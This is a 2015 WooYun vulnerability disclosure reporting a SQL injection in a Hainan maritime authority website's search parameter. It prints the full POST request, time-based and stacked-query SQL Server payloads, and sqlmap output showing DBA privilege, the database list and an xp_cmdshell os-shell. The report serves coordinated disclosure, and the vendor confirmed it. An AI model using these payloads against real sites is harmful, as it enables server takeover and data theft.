当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157285

漏洞标题:海南海事局SQL注入#DBA权限#可获shell获取数据库全部信息

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-03 01:24

修复时间:2016-01-21 14:10

公开时间:2016-01-21 14:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-03: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经确认,细节仅向厂商公开
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

如题、危害非常大

详细说明:

0x01 漏洞描述
SQL注入漏洞,基于时间的盲注,DBA权限,可写shell,可获取服务器权限、获得全部数据
0x02 漏洞网站

http://**.**.**.**


0x03 漏洞请求参数

POST /523/dirlist_1.aspx HTTP/1.1
Content-Length: 158
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**:80/
Cookie: ASP.NET_SessionId=h2d35mn1byrrc2yk5xhlutvy; BAIDUID=F15F213033B16562C74353BB6B29AC4C:FG=1; bdshare_firstime=1448766798894
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
subSearch=%e5%bc%80%e5%a7%8b%e6%a3%80%e7%b4%a2&searchType=Title&searchValue=-1&searchYear=2015

注入关键字:searchValue

漏洞证明:

0x04 漏洞证明

---
Place: POST
Parameter: searchValue
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: subSearch=%e5%bc%80%e5%a7%8b%e6%a3%80%e7%b4%a2&searchType=Title&searchValue=-1'; WAITFOR DELAY '0:0:5'--&searchYear=2015
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: subSearch=%e5%bc%80%e5%a7%8b%e6%a3%80%e7%b4%a2&searchType=Title&searchValue=-1' WAITFOR DELAY '0:0:5'--&searchYear=2015
---
[02:44:54] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[03:45:42] [INFO] testing if current user is DBA
current user is DBA: True


数据库信息

available databases [6]:
[*] [msdb]
[*] [tempdb]
[*] hnMSA
[*] hnMSA2
[*] master
[*] model


0x05 获取os-shell

[03:37:41] [INFO] testing if current user is DBA
[03:37:41] [WARNING] time-based comparison requires larger statistical model, please wait..............................
[03:38:03] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[03:38:03] [INFO] testing if xp_cmdshell extended procedure is usable
[03:38:06] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[03:38:06] [ERROR] unable to retrieve xp_cmdshell output
[03:38:06] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[03:38:06] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-07 14:04

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给海南分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价